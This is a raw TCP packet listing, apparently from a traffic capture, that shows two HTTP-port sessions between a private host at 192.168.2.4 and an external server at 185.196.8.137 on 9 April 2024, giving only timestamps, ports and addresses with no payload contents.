Apr 9, 2024 14:54:05.629941940 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.629976988 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.630014896 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.630016088 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.630053997 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.630090952 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.630279064 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.630316019 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.630352974 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.630357981 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.630389929 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.630429029 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.630546093 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.630584002 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.630621910 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.630621910 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.630660057 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.630697966 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.630820036 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.630858898 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.630897999 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.630897999 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.630934954 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.630971909 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.631087065 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631125927 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631162882 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631164074 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.631205082 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631242037 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.631390095 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631428957 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631467104 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631467104 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.631505013 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631541967 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631578922 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631581068 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.631618977 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631625891 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.631655931 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.631659031 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631696939 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631733894 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631772041 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631773949 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.631809950 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631845951 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631882906 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631921053 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631957054 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.631961107 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.631997108 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632035017 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632076025 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632076979 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.632112980 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632149935 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632152081 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.632185936 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632225990 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.632250071 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632286072 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632323980 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632325888 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.632360935 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632399082 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632400036 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.632437944 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632473946 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632476091 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.632510900 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632550001 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632551908 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.632586956 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632623911 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632626057 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.632662058 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632702112 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.632702112 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632741928 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632778883 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632781982 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.632817030 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632850885 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.632854939 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632894039 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632930040 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.632945061 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.632968903 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633006096 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633008957 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.633048058 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633086920 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633088112 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.633138895 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633177042 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633181095 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.633214951 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633254051 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633255959 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.633291960 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633332968 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633332968 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.633368969 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633407116 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633409023 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.633445024 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633482933 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633486032 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.633521080 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633558989 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633559942 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.633596897 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633635044 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633636951 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.633671999 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633711100 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633713961 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.633749962 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633788109 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633790970 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.633825064 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633862019 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.633862019 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633899927 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633939028 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.633939028 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.633979082 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634016991 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634017944 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.634056091 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634093046 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634094000 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.634130955 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634167910 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634171009 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.634206057 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634243011 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634243965 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.634280920 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634319067 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634321928 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.634357929 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634394884 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634398937 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.634432077 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634464979 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.634469032 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634506941 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634543896 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634546995 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.634583950 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634622097 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634622097 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.634660959 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634699106 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.634701967 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634738922 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634776115 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634778976 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.634814978 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634851933 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.634851933 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634888887 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634927034 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.634928942 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.634963989 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635003090 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635004044 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635045052 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635083914 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635088921 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635122061 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635159016 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635160923 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635196924 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635234118 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635237932 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635272980 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635294914 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635312080 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635312080 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635334015 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635349989 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635351896 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635370016 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635387897 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635399103 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635399103 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635405064 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635422945 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635436058 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635442019 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635457039 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635461092 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635478973 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635488033 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635488033 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635497093 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635507107 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635514975 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635529041 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635533094 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635550976 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635567904 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635567904 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635588884 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635592937 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635606050 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635617018 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635617018 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635624886 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635641098 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635643959 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635659933 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635662079 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635679007 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635679960 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635698080 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635715961 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635726929 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635726929 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635734081 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635751963 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.635778904 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635778904 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.635778904 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.637404919 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.643781900 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.644026041 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.644629955 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.647058964 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.648565054 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.648914099 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.648914099 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.650129080 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.650563002 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.650993109 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.651493073 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.736954927 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.737368107 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.737368107 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.802807093 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.802879095 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.802922010 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.802963972 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.802963972 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.803003073 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.803042889 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.803045034 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.803086042 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.803093910 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.803503036 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.803543091 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.803548098 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.803582907 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.803621054 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.803643942 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.803833961 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.803848982 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.803877115 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.803915024 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.803915024 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.803955078 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.803996086 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.804035902 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.804827929 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.804867983 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.804905891 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.804943085 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.804948092 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.804987907 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805031061 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.805032015 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805072069 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805109978 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805111885 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.805147886 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805186033 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805187941 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.805223942 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805260897 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805264950 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.805298090 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805335999 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.805336952 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805375099 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805413008 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805413008 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.805433989 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805452108 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805466890 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.805469990 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805486917 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805504084 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805510044 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.805521011 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805536985 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.805541039 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805560112 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805574894 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.805650949 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805686951 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.805700064 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805717945 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805752039 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.805766106 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805825949 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805843115 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805857897 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.805862904 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805893898 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.805896997 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805931091 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.805964947 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.806010008 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.806030035 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.806061029 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.806062937 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.806488991 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.806507111 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.806525946 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.806550026 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.806567907 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.806586027 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.806587934 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.806616068 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.806637049 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.806670904 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.806689024 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.806703091 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.806891918 CEST	80	49741	185.196.8.137	192.168.2.4
